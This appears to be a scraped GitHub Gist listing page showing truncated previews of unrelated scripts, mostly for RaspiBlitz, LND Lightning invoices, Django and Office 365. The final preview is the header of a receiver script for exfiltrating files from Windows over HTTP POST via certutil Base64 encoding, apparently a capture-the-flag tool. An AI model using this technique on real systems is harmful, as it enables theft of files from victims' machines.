Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env bash
#
# tor2ipc.sh
#
# License: MIT
# Copyright (c) 2020 The RaspiBlitz developers
set -e
set -u
def _send_request(self, path='/v1/getinfo') -> dict:
url = f'https://{self.hostname}:{self.port}{path}'
session = requests.Session()
try:
if self.tls_cert_verification:
adapter = CaDataVerifyingHTTPAdapter(tls_cert=self.tls_cert)
session.mount(url, adapter)
res = session.get(url,
# -*- coding: utf-8 -*-
import string
from django import forms
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db import models
class BaseEncryptedField(models.Field):
#!/usr/bin/env python3
import random
import sys
"""
https://github.com/taikuukaits/SimpleWordlists/
The MIT License (MIT)
#!/bin/bash
function usage() {
echo -e "This script generates a LND invoice and prints the payment request"
echo -e ""
echo -e "Usage: $0 [-h|--help] [-v*|--verbose] [-a|--amt STRING] [-m|--memo STRING]"
echo -e ""
echo -e " -h, --help\t\tprint this help message"
echo -e " -v, --verbose\t\tbe more verbose"
echo -e " -a, --amt STRING\tAmount in Satoshi"
#!/bin/bash
function usage() {
echo -e "This checks if a LND invoice has been payed using the rhash"
echo -e ""
echo -e "Usage: $0 [-h|--help] [-v*|--verbose] [-r|--rhash STRING]"
echo -e ""
echo -e " -h, --help\t\tprint this help message"
echo -e " -v, --verbose\t\tbe more verbose"
echo -e " -r, --rhash STRING\tthe payment hash of the invoice (as HEX not BASE64!)"

Setup

Install additional tools

sudo apt-get install unclutter xterm

Raspi-Config

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 00infoLCD_wrapper.py
import os
import tkinter as tk
import platform
COLOR = "black"
from O365 import Account, Connection, FileSystemTokenBackend, MSGraphProtocol, MSOffice365Protocol
import re
client_id = "<client_id>"
client_secret = "<client_secret>"
tenant_id = "<tenant_id>"
credentials = (client_id, client_secret)
#!/usr/bin/env python
# Exfiltrate a file from Windows Powershell over HTTP Post using certutil for
# Base64 conversion to avoid broken file due to text based post transmission.
#
# Requires
# pip install tornado
# Sample usage (exfiltrate flag.docx)
# python certutilpostreciver.py